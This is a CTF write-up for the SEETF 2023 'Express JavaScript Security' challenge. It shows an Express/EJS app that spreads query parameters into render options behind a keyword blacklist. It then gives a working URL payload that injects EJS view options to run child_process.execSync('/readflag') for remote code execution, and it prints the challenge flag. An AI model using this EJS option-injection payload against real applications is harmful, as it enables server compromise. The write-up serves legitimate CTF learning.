ctf-writeup/SEETF 2023/🎓🌎 Express JavaScript Security
daffainfo 9325852d3a feat: added TSG CTF 2023 2023-11-05 15:59:14 +07:00
..
images feat: add SEETF 2023 2023-06-12 20:33:46 +07:00
README.md feat: added TSG CTF 2023 2023-11-05 15:59:14 +07:00
dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909.zip feat: add SEETF 2023 2023-06-12 20:33:46 +07:00

README.md

🎓🌎 Express JavaScript Security

My first JavaScript project.

About the Challenge

We were given a source code that contains some files with .js and .ejs extensions (You can download the file here). Here is the content of main.js

const express = require('express');
const ejs = require('ejs');

const app = express();

app.set('view engine', 'ejs');

const BLACKLIST = [
    "outputFunctionName",
    "escapeFunction",
    "localsName",
    "destructuredLocals"
]

app.get('/', (req, res) => {
    return res.render('index');
});

app.get('/greet', (req, res) => {
    
    const data = JSON.stringify(req.query);

    if (BLACKLIST.find((item) => data.includes(item))) {
        return res.status(400).send('Can you not?');
    }

    return res.render('greet', {
        ...JSON.parse(data),
        cache: false
    });
});

app.listen(3000, () => {
    console.log('Server listening on port 3000')
})

This is a Node.js Express server application that uses the EJS templating engine to render views. The server listens on port 3000. The application has two main routes: the root route ('/') and the '/greet' route. When accessing the root route, it renders the 'index' view. When accessing the '/greet' route, it checks the query parameters, converts them to a JSON string, and looks for any blacklisted items within the data. If any blacklisted item is found, it returns a 400 response with the message "Can you not?". Otherwise, it parses the JSON data, renders the 'greet' view with the parsed data and disables caching. And then here is the content of greet.ejs

<html>

<body>
    <h1 style="font-family: <%= font %>; font-size: <%= fontSize %>px;">
        Hello <%= name %>
    </h1>
</body>

</html>

How to Solve?

At first, we are using this website to perform Remote Code Execution, but outputFunctionName is blacklisted. Therefore, we need to find another working payload. Finally, I found another working payload after doing some googling. (Check out this website). Here is the final payload I used to solve this challenge:

http://ejs.web.seetf.sg:1337/greet?name=test&font=test&fontSize=test&settings[view%20options][client]=1&settings[view%20options][escape]=%7B%7D.constructor.constructor(%22return%20process.mainModule.require(%27child_process%27).execSync(%27/readflag%27)%22)

I am executing the /readflag command to obtain the flag.

flag

SEE{0h_n0_h0w_d1d_y0u_ch4ng3_my_0pt10ns}